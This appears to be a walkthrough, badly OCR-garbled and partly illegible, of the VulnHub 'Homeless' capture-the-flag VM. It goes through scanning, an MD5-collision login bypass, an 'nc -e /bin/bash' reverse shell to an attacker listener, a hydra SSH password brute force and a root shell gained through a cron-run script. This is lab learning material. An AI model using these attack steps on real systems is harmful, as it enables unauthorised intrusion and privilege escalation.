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Introduction

I'm really interesting about security, love to learn new technologies and play CTF sometime. I've been enjoying creating hacking challenges for the security community. This is my
first Challenge of boot2Zroot, | was created some web challenge and solved others.] hope you will get some knowledges about my challenge. Thanks u Laiwon . | love you.

Difficulty

Difficulty level to get limited shell: Intermediate or advanced

Difficulty level for privilege escalation: Depend on You.

Goal

You will be required to break into target server,exploit and root the machine, and retrieve the flag. The flag will contain more information about my private info..

Hints

This challenge is not for beginners. There is a relevant file on this machine that plays an important role in the challenge, do not waste your time trying to de-obfuscate the file, If you
got big stuck. Try with Password start with "sec™ with nice wordlist. Ok.. Try Harderl

« Homeless.zip (507MB) hitps://imega.nz##15alB11JZITN2HIO_HL_134-DMcbXKvWiG4aaakR_JMsc-T7Jtsjc

~Happy Hacking!. .

EEHLF#RHbhE: https://www.vulnhub.com/entry/homeless-1,215/
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1. $EHUPEI: 192.168.1.111

//kali
arp-scan -1

2. nmap 8, FFH80. 22 H
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:~# nmap -p- -A -Pn 192.168.1.111

Starting Nmap 7.82 ( https://nmap.org ) at 2020-03-27 23:42 EDT
Nmap scan report for fonts.googleapis.com (192.168.1.111)
Host is up (@.00048s latency).
Not shown: 65533 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl1 Debian 1@+debSul (protocol 2.8)
ssh-hostkey:

2048 28:2c:a5:57:c7:eb:82:11:4e:bc:10:45:2F:68:58: 0 (RSA)

256 4d:44:7b:95:ce:9f:B6:e2:cB:b&k:1c:53:85:0d:90:4a (ECDSA)
_ 256 ab:d8:Qa:4a:ca:d9:77:13:14:a0:36:54:94:8e:6f:2a (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
http-robots.txt: 1 disallowed entry
_Use Brain with Google
_http-server-header: Apache/2.4.25 (Debian)
_http-title: Transitive by TEMPLATED
MAC Address: @0:0C:29:B1:F8:B3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
0S5 CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:&
0S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms fonts.googleapis.com (192.168.1.111)

0s and Service detection performed. Please report any incorrect results at https://nmap.org/submitté. ihioq.csdn.net/prettyX
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds EK"' 9- B2 y
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o Wappalyzer

Web Server JavaScript Libraries

# Ap 425 & jQuery 1113

Operating System

@ Debian

Homeless

Most people, if you live in a big city, you see some form of schizophrenia every day, and it's always in the form of someone homeless.

'Look at that guy - he's crazy. He looks dangerous.' Well, he's on the streets because of mental illness.
He probably had a job and a home.

ns:/iblog.csdn.net/prettyX

4. EEMTEN, RAER, FRF, ibFgns




(192.168.1.111/

<IDOCTYPE HTML>
<html>
<head>
<title>Transitive by TEMPLATED</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="assets/css/main.css" />

<link rel="icon" type="image/jpg" href="images/favicon.jpg" />
</head>
<body=>
<!-- Banner -->
<lo-
Please check carefull.... Good luck!..
-

<section id="banner" data-video="images/banner">
<div class="inner">
<hl=Homeless</hl>
<p>Most people, if you live in a big city, you see some form of schizophrenia every day, and it's always in the form of someone homeless.<br/> 'Look at
<a href="#one" class="button special scrolly"=Get Started</a>
</div>
</section>

<l-- One -->
<section id="one" class="wrapper style2">

<div class="inner">

=div=
<div class="box">
Mozilla/5.0 (X11; Linux xB86 64; rv:68.0) Gecko/20100101 Firefox/68.0 <div class="image fit">
<img src="images/pic@l.jpg" alt="" />
</div>

<div class="content">
<header class="align-center">
<h2>Lorem ipsum dolor</h2>

5. robots.txt

rockyout — N F I Z T, 1EE RS EHESL M H XA TR

192.168.1.111

User-agent: *
Disallow: Use Brain with Google

Good luck!
Hey Remember rockyou. .

6. dirbBFEB, REAFHEER

dirb http://192.168.1.111 /usr/share/dirb/wordlists/common.txt

7. EEMTIRSATE F, FATKIMUser-Agent



<!DOCTYPE HTML=
<html>
<head>
<title>Transitive by TEMPLATED</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="assets/css/main.css" />

<link rel="icon" type="image/jpg" href="images/favicon.jpg" />
</head>
<body=>

<!-- Banner -->

<l--
Please check carefull.... Good luck!..
<section id="banner" data-video="images/banner">
<div class="inner">
<hl=Homeless</hl>
<p=Most people, if you live in a big city, you see some form of schizophrenia every day, and it's always in the form of someone homeless.<br/> 'Look at
<a href="#one" class="button special scrolly"=Get Started</a>
</div>
</section>
<!-- One -->

<section id="one" class="wrapper style2">

<div class="inner">
=div=
<fliv class="box">
Mozilla/5.8 (X11; Linux x86 64; rv:68.0)
<img src="images/pic@l.jpg" alt="" />
</div>
<div class="content">
<header class="align-center">
<h2>Lorem ipsum dolor</h2>

Gecko/20100101 Firefox/68.0 <div class="image fit">

192.168.1.111

R homeless guy,
| always run back and give him
mon'e'y,f.be' |

8. Burpsuite &—HR



Raw | Headers | Hex

Raw [ Headers | Hex | HTML Render]

o HH®

Nane

9. Egﬁl —F %gfl jié% ’ 5255‘5255‘ ’ 119&‘52;’IEE1 EEE? Eiﬁl

GET / HTTP/1.1 .
Host. 192 168 1 111 r
User-Agent: Mozilla/S.0 (K11l:; Linux x86_64; rv:68.0) Gecko/20100101
Firetox/68.0
Accept: text/html,application/xhtml+xnl, application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en:g=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
b
v
0 matches

>

Please check carefull.... Good luck!..
<section id="banner" data-video="images/banner">
=div class="inner"=
<hl>Homeless</hl>
<p>Host people, if you live in a big city, you see some form of schizephrenia every day,
and it's always in the form of someone homeless.<br/= ‘Look at that guy - he's crazy. He looks dangerous.' Well, he's on the
streets because of mental illness.<hr/> He probably had a job and a home.</p>
<a href="#one" class="button special scrolly"=Get Started</a>
</div=
</section>

<i-- Ope -->
<section id="one" class="wrapper style2">

<div class="inner"=
=divs>

<div clpss="bw
Hozillas5.8 (X11; Linux x86_64; rv:68.8) Gecko/20100101 Firefox/68.0
=div class="Image TIT"=
<img src="images/picOl.jpg" alt="" />

<fdiv>
<div class="content"=
<header class="align-center"s
<h2=Lorem ipsum dolor</h2=
<p=naecenas feugiat ex purus, quis volutpat lacus
placerat</p>
<fheader>
<hr /=
<p> Cras aliquet urna ut sapien tincidunt, quis nalesuada elit
facilisis. Vestibulum sit amet tortor velit. Ham elementum nibh a libero pharetra elementum. Haecenas feugiat ex purus, quis
volutpat lacus placerat malesuada. Praesemt in sem ex. Horbi mattis sapien pretium tellus venenatis, at egestas urna ornare.</p>
<p>Vivanus fermentum nibh vel pharetra blandit. Cras a purus urna. -
Sed et libero ex. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Suspendisse id hendrerit v

o (=IGE]
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Raw | Headers | Hex | HTML Rendar]

GET / HTTP/1.1

Host: 192.168.1.111
User-Agent: Mozilla/5.0 (X11; Linux xB86 rv:B8888) Gpcko/20100101

Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, *%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip. deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

<link rel="icon" type="image/jpg" href="images/favicon.jpg" /> N
<fhead=>
<body>

Good lu

Please check carefull.. ..

<section id="banner" data-video="images/banner">
<div class="inner">
<hl>Homeless</hl=
<p>Host people, if you live in a big city, you see some form of schizophrenia every day,
and it's always in the form of someone homeless.<hr/> ‘Look at that guy - he's crazy. He looks dangerous.® Well, he's on the
streets because of memtal illness.<br/> He probably had a job and a home.=/p>
<a href="#one" class="button special scrolly"-Get Started</a=
</div=
</section>

<f-- One --»
<section id="one" class="wrapper stylez"=

<div class="inner"s
<div>
<div class="box"=
Hozilla/5.0 (X11; Linux x86
<div class="image fit's
<img src="images/picOl.jpg" alt="" />
</dive

ecko/20160161 Firefox/68.0

10 ZNMPE, BT —BXE, W—BFEEARRINAT

XBEH—ANZIWCE, WAFE—T: https://hackso.me/homeless-1-walkthrough/

f i) B 2, FEENEEIRAKFEH: rockyou, RIEFEXAUA
iX B 3f# FHBurpSuite, 1B 1 Frockyouf ik, 133MB, 7EBurps & A\Payloadf 18, X B H o8k

Burp, Intruderi®ish, ®%EBUANSE, &EBEIFFH#H, GO


https://hackso.me/homeless-1-walkthrough/

Request | Payload | Status | Error | Timeout | Length ¥ | Comment
0 200 ] [] 570
80 200 O O es3s
48 1234567390 200 0 [] 502
54 basketball 200 0 [] 502
3 123456739 200 0 [] 502
27 chocolate 200 0 [] 502
28 password1 200 0 [] 502
a2 butterfly 200 0 [] 502
26 liverpool 200 0 [] 502
4 password 200 0 [] ss01
5 iloveyou 200 0 [] ss01
3 princess 200 ] [] &s01
J RequestT Response ]

Raw | Headers T Hex ]

Mame | Value

GET THTTRM A

Host 182.168.1.111
User-Agent cyberdog

Accept text/html applicationixhtml+xml applicationftmlgq=0.9 imageiwebp,**q=08
Accept-Language en-Us en;q=05
Accept-Encoding gzip, deflate
Connection close
Upagrade-Insecure-Requests 1

11. BurpSuite Repeater
RIETTHRR

Raw [ Headers | Hex

Raw | Headers | Hex | HTML | Render

GET / HTTP/1.1

Host: 192.162
User-Agent: | cyberdog
Accept: tex mL, application/xhtml+xml, application/xnl;g=0.9,%/%;q=0.8

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

12. Ziki51H, New Land!

92.168.1.111

T

<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" /=
<link rel="stylesheet" href="assets/css/nain.css" />
<link rel="icon" type="image/jpg" href="images/favicon.jpg" />
</head>
<body=

<!-- Banner --=
<l
Please check carefull.... Good luck!..

<section id="banner" data-video="images/banner"=
<div class="inner"s>
<hl>Homeless</hl>
<p=Host people, if you live in a big city, you see some form of schizophrenia every
day, and it's always in the form of someone homeless.<br/= ‘Look at that guy - he's crazy. He looks dangerous.' Well, he's on
the streets because of mental illness.<br/> He probably had a job and a hone.</p>
<a href="#one" class="button special scrolly"=Get Started</a=
</div=
</section>

<l-- Ope --»
<section id="one" class="wrapper stylez"=

<div class="inner">
<divs

=div dlass="box"=
Nice Cache!.. Go there.. myuploader_priv
<div class="image fitla

<img src="images/pic@l.jpg" alt="" /=
</

13. #iuploadsiupload, but too large

Upload Me

Browse... Nofile selected. Upload



Upload Me

Browse... Nofile selected. Upload

Your file i too large

14, 8% XMERRILE: https://hackso.me/homeless-1-walkthrough/
s 7T —BAE, {RFF Ntest.php, At
XEMREHERDNFENTFETNFEY, FA—BMRBELNUx. Windows¥ & T X IR /N A E 1)

<?="1s";

Upload Me

Browse... Nofile selected. Upload
File uploaded. Find the secret file on server .. files/abc.php

15, EAERIL, 5% ip/myuploader_priv/files/abe.php

887beed152a3e8f946857bade267bb19d159ef59.1xt abc.php index.php

16. well done

XEKIPRIEHIP, Vil

Well Done! Next step are waiting..
IP/d5fa314e8577e3a7b8534a014bddcb221de823ad

Regards
http://www.facebook.com/133twebhacker

17. —ABHFHE, A EARREHEERTR


https://hackso.me/homeless-1-walkthrough/

SignIn

2 | username
& | password
BE | secretcode

Remember me

BT TREEN, BEILRR, B£SQLY, EREFEFFESRRE

<html >
<head>

<meta charset="UTF-8">
<title>Secure Login - Homeless</title>
<link href="css/bootstrap.min.css" rel="stylesheet">

</head>
<body=>

<div class="container"=
<div id="loginbox" style="margin-top:50px;
<div class="panel panel-info" >
<div class="panel-heading">
<div class="panel-title">Sign In</div>
<div style="float:right; font-size: 80%; position: relative; top:-10pxY><a href="index.php.bak">Need Hint?</a></div>
</div=

class="mainbox col-md-6 col-md-offset-3 col-sm-8 col-sm-offset-2">

<div style="padding-top:30px" class="panel-body" >
<div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>

<form id="loginform" class="form-horizontal" role="form" method="post" action="">

18. RE— TFphpfiigiZ4#, username. password. code=FHIENREIHE, (HRMDSETEHEE, A HER
Fladmin.php

kA2 T EIMEREMstring, 2R)5 FEEMDSE R HEK



E index. php. bakEd

1 [H«<?php
2 session _start():
3] error reportingi(0l);
4
S
(3 if (@%_POST['username'] and @$_POST['password'] and 8§ POST['code'])
T O {
8
2 Susername = (string)$ POST['usernames']:
10 ¢password = (string)$ POST['password']:
11 Scode = (string)$ POST['code']:
12
13 = if ((5username == Spassword ) or (Susername == Scode) or (fpassword == Scode)) {
14
15 eche 'Your input can not be the same.';
1&
17 + else if ( (md5(fusername) === md5 (Spassword) ) and (md5(Spassword) === mdi (Scode)) ) {
8 $_SESSION[”SEC“:Et”] = '133720"';
19 header ('Location: admin.php'}:
20 exit():
21
22 P oelse {
23
24 eche "<pre»> Invalid password </pre>";
25 -
26 -
27
28
29 " > 2

RS XA RGN, XB, H—ALHR: fastcoll, PREMDSHERE AR

fastcollf) A fF HIESH X R L E: https:/blog.csdn.net/prettyX/article/details/105176084
fastcoll & — MK HE — MR A, 7= A B ASMDSE A [F] i 304

B, XERMNTEINM, XBEBRAAMEHfastcoliX AT A, 1A HPythonfii4
python-md5-collision F##hk: https://github.com/thereal1024/python-md5-collision

B ATEKali TR

//Kali

apt-get update
apt-get install libboost-all-dev

FEZENERES, KIS FF AR 2 7 2 % ¥ fastcollHH XA
ZRIFZIE, RUWA—T

./gen_coll_test.py


https://blog.csdn.net/prettyX/article/details/105176084
https://github.com/thereal1024/python-md5-collision
https://github.com/thereal1024/python-md5-collision

BATZJE, 4 H R T2ER100MMDSEASE, [HRESHA256(E NGRS, W LLizs

*

Grabbing fastcoll
Compiling fastcoll

g+ -03 *.cpp -lboost_filesystem -lboost_program_options -lboost_system -o fastcoll

done preparing fastcoll
Stage 1 of

Stage 2 of

Stage 3 of

Stage 4 of

Stage 5 of

Stage 6 of

Stage 7 of

Stage 8 of

Done

md5sum out_test_0*.txt
sha256sum out_test_0*.txt

bl25cBacalb72e316fB0a924af502a87
bl25cBacalb72e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacalb72e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacalb72e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacal672e316fB0a924af502a87
bl25cBacalb72e316fB0a924af502a87

out_test_000.
out_test_001.
out_test_002.
out_test_003.
out_test_004.
out_test_005.
out_test_006.
out_test_007.
out_test_008.
out_test_009.
out_test_010.

https://blog

# ./gen_coll_test.py

# md5sum out_test_@%.txt

TP

# sha256sum out_test_@+%.txt

2e3d96?cF3b2396?F3F?ﬁ5?b54cc?1FQF35d523ddaﬁeefcdeeBEiii?BBﬁFBQB
56e43eadb4t9cBf62a269b3844694bd1ceBa9eaf7fb7625abbaca2914e2df6c9c
85fabl08cB4da23dbb9534bdaff873b5ab2809fabecb@4e3e4b0bfd9c9bdabbae
bc9d7fa@c9d945cba9f969e0503f024a7db2752613a58cbb3b327b17b3112450
9f2007fcbed340368ch5f45d56bfa315¢cBc2c73ac21cd4@950aca9acded8le?s
bfb5B8ea4ba58299074e2dcfcctB64b41f2938e5c08c56b3d07546391ed1330FF
2ffb7f4bad7ckebTdffc7a319e8datbB3c3f41686f3ab74c5a801d781046222F
ce5556fbake5f7df55ch8a7c9e162f4b3226a843f4eacs292c59fb9bbf7deell
cbbe72ab3103620d792bckbae30331e7315c%ebBelsa2dacabB754ec94eck750
6ff49792dd0e8ddc@9cc67b36becbb354853fa8@la30ccTeSbcac244449222c3
clb4B04c42e53cBdlac28ecBeld3510dbe8950c865a8538b219d8b12b4a34F9c1

,» FRAMDSRERE SCHRATHME ST T, 3
Kali F #47

out_test_ﬁﬁﬁ.
out_test_0e1.
out_test_0e2.
out_test_0e3.
out_test_004.
out_test_0e5.
out_test_006.
out_test_0e7.
out_test_0es.
out_test_009.
out_test_010.

zsdn.net/pretty X

i

AR —

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode

ata- urlencode

# curl —data-urlencode usernamegout_test_@00.txt —data-urlencode passworddout_test_001.txt -—d
codedout_test_@02.txt —data-urlencode remember-lﬁlogln-Lugln http://192.168.1. 103/d5fa314e8577e3a7b8534a014
b&dcb221de823ad/index. php -i
HTTP/1.1 108 Continue

HTTP/1.1 382 Found

Date: Sun, 29

Mar 2020 06:54:23 GMT

Server: Apache/2.4.25 (Dehian)

Set-Cookie: PHPSESSID=06iké&hm&5m643spe5Fov@tpjfs; path=/

Expires: Thu,

Cache-Control:

19 Nov 1981 @B:52:00 GMT
no-store, no-cache, must-revalidate

Pragma: no-cache
Location: admin.php
Content-Length: 10

Content-Type:

Well done!

text/html; charset=UTF-8

2 |




X BFEHLUIPRISCEFHRIA—FE, REANAR—REMER, FE2RIPET)
FKELF] T —4SESSION
EN T, F12, BHiZCookied

Mame Demain Path Expireson Last accessed on Value table.he.. samesSite

192.168.1.103 Maon, 30 Mar 2020 07:31:..  Sun, 29 Mar 2020 07:34:1.. 06ikéhm45mE43spesfsvitpif4  false

HiiEZURL , mREILAH AT HZURL, EEIE 165

http://192.168.1.103/d5fa314e8577e3a7b8534a014b4ddcb221de823ad/admin. php

Private Terminal Submit Query

20. EShell

Kali nclilr:

nc -lvvp 8765

admin.phpH $14T

nc -e /bin/bash 192.168.1.135 8765

OK, 3k1§Shell

- # nc -lvvp B765
listening on [any] 8765 ...
192.168.1.103: inverse host lookup failed: Unknown host
connect to [192.168.1.135] from (UNKNOWN) [192.168.1.103] 40178

python 32 H.shell

python -c 'import pty; pty.spawn("/bin/bash")’

21, FFIBIRR
Set#:3)/home B F#

ww -datagcreatigon:
cd /home
www-datadlicreatigon: /home$ 1s

1s
downfall
www-datagicreatigon: /home$ |




# ANdownfall, F—*todo.txt

www-dataacreatigon: /home/downfall$ 1s

s

todo.txt

ww-dataacreatigon: /home/downfall$ cat todo.txt
cat todo.txt

hey 1 am homeless guy. Now i1 living near python.

Try Harder!

Thanks.
www-datagcreatigon: /home/downfall$ i

1s -1la [/ BEEBERB

waw -datadcreatigon: /home/downfall$ 1s -la

1s -la

total &&

drwxr-xr-x downfall downfall 4096 Dec

drwxr-xr-x root root 4096 Dec
downfall downfall 16 Dec
downfall downfall 220 Dec

-TW-r—r-— downfall downfall 3526 Dec

2017 .

2017 ..

2017 .bash_history
2017 .bash_logout
2017 .bashrc

2017 .nano

2017 .profile

2017 .secret_message
2017 .selected_editor
2017 .viminfo

2017 todo.txt

drwxr-xr-x downfall downfall 4096 Dec
downfall downfall Dec

downfall downfall Dec

downfall downfall Dec

downfall downfall Dec

1 downfall downfall Dec

wwi -datagicreatigon: /home/downfall$ i https://blog.csdn.net/pre

v AL Li oL

X B 2 & secret_message A R
22. 1E#idownfall i /2 3544
f§ Fhydra

//kali
hydra -1 downfall -P /usr/share/wordlists/rockyou.txt 192.168.1.103 ssh

FEHUEE RS, A sec’ T k7, XEMEE—T, rockyouik 1R KK

grep '~sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

grepigik: https://www.cnblogs.comvduanlinxiao/p/10778548.html
IR T

:~# hydra -1 downfall -P pass.txt 192.168.1.183 ssh
Hydra v9.@ (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purpos
es.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-29 04:39:40

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[WARNING] Restorefile (you have 1@ seconds to abort... (use option -I to skip waiting)) from a previous session found, to pr
event overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 3182 login tries (1:1/p:3182), ~199 tries per task

[DATA] attacking ssh://192.168.1.103:22/

[STATUS] 182.00 tries/min, 182 tries in 0@:01h, 3006 to do in @@:17h, 16 active

[22][ssh] host: 192.168.1.103 1login: downfall password: tlyinlove

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 8 final worker threads did not complete until end.

[ERROR] & targets did not resolve or could not be connected

[ERROR] @ targets did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 20208-03-29 04:42:08



https://www.cnblogs.com/duanlinxiao/p/10778548.html

23, ssh&%#

ssh downfall@192.168.1.103

downfallacreatigon:~% whoami
downfall
downfallacreatigon:~$ I

24, ZREERL

downfallacreatigon:~$ 1s
todo.txt
You have new mail in /var/mail/downfall

downfallacreatigon:~$ 1s -la

total &&

drwxr-xr-x 3 downfall downfall Dec

druxr-xr-x 3 root root Dec
downfall downfall Dec

1 downfall downfall Dec

1 downfall downfall Dec

2

1

2017

2017

2017 .bash_history
2017 .bash_logout
2817 .bashrc

2017

2017 .profile

2017 .secret_message
2017 .selected_editor
2017 todo.txt

2817 .viminfo

downfall downfall Dec
downfall downfall Dec
downfall downfall Dec
-rw-r—r— downfall downfall Dec
-rw-r—r— downfall downfall Dec
downfall downfall 2466 Dec
downfallacreatigon:~$ cat secret_message
cat: secret_message: No such file or directory
downfallacreatigon:~$ cat .secret_message
Hey.
i am sleeping at /lib/logs/homeless.py

drwxr-xr-x
-r'w-r—r-—

(= R = R E R R E R T, = =]

wake me and root me..

Thanks bro..
downfallacreatigon:~% JJ ittps:/iblog.csdn.net/pre

& E secret_message, HH R, EXPEHFE—R

downfallacreatigon: $ 1s -la
total 12
drwxrwxrwx 2 root root 4096 Dec 6 2017

drwxr-xr-x 16 root root 4096 Dec 5 2017
-rwxrw-r— 1 root downfall 78 Dec 6 2017 homeless.py

rootfl P B B HATHR, downfallZl 7 %5 AR
BOEE —HIMGREER, BERMTA

cat /var/mail/downfall

GO, X R



downfall@creatigon: fvar/mail =

Content-Transfer-Encoding: 8bit

X-Cron-Env: <SHELL=/bin/sh>

X-Cron-Env: <HOME=/root>

X-Cron-Env: <PATH=/usr/bin:/bin>

X-Cron-Env: <LOGNAME=root>

Message-Id: <E1)ITIX-0002DT-NFacreatigon.localhost>
Date: Sun, 29 Mar 2020 04:28:01 -0400

./homeless.py: 1: ./homeless.py: import: not found
./homeless.py: 2: ./homeless.py: Syntax error: word unexpected (expecting ")")

From rootfcreatigon.localhost Sun Mar 29 ©04:29:01 2020
Return-path: <rootgcreatigon.localhost>
Envelope-to: rootacreatigon.localhost
Delivery-date: Sun, 29 Mar 2020 04:29:01 -0400
Received: from root by creatigon.localhost with local (Exim &.89)
(envelope-from <rootgcreatigon.localhost>)
id 1jITIV-0002DZ-Ng
for rootacreatigon.localhost; Sun, 29 Mar 2020 04:29:01 -0400
From: rootacreatigon.localhost (Cron Daemon)
To: rootacreatigon.localhost
Subject: Cron <root@creatigon> cd /lib/logs/ &6 ./homeless.py
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root:
Message-Id: <E1jITIV-0002DZ-Ngacreatigon.localhost>
Date: Sun, 29 Mar 2020 04:29:01 -0400

./homeless.py: 1: ,/homeless.py: import: not found
./homeless.py: 2: ,/homeless.py: Syntax error: word unexpected (expecting ")")

From rootocreatigon.localhost Sun Mar 29 04:30:01 2020
Return-path: <rootacreatigon.localhost>
Envelope-to: rootdcreatigon.localhost
Delivery-date: Sun, 29 Mar 2020 04:30:01 -0400
Received: from root by creatigon.localhost with local (Exim &.89)
(envelope-from <rootdcreatigon.localhost>)
id 1jITKT-0002Df-0X
for root@creatigon.localhost; Sun, 29 Mar 2020 |04:30:01 -0400
From: rootgcreatigon.localhost (Cron Daemon)
To: rootifcreatigon.localhost
Subject: Cron <rootdcreatigon> cd /lib/logs/ & ./homeless.py
MIME-Version: 1. hitps://blog.csdn.net/pretty X

WA 8], FOPAT I AS
7% T RTS8 280 AT — khomeless.py i A, K IREE(E B
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&% Pythonfiii 4

vim /lib/logs/homeless.py

o0s
os.system(

os.systemf

AR 3110 SEAY I

fEKalisfnc iy




:~# nc -lvvp 8888
listening on [any] 8888 ...
192.168.1.1083: inverse host lookup failed: Unknown host
connect to [192.168.1.135] from (UNKNOWN) [192.168.1.103] 50738
whoami

root

ROOT!

cd ~
cat flag.txt

Well done!.

Woo! woo! woo. You Got it!..
Really Appreciate to solve my challenge....

This is my first time challenge..
I hope next time will be more better than this one! ...

Thanks
Min Ko Ko
higcreatigong.com

http://www .creatigon. com
http:// wew .mmsecurity.net
https://www . facebook.com/133twebhacker

https

XAMEYAESEEEERRBAN, M—EBNZEERE
Tni ;)

BEL B
https://hackso.me/homeless-1-walkthrough/
https://medium.com/@Kartone/vulnhub-homeless-writeup-233164d94481

https://blog.csdn.net/nzjdsds/article/details/84324992
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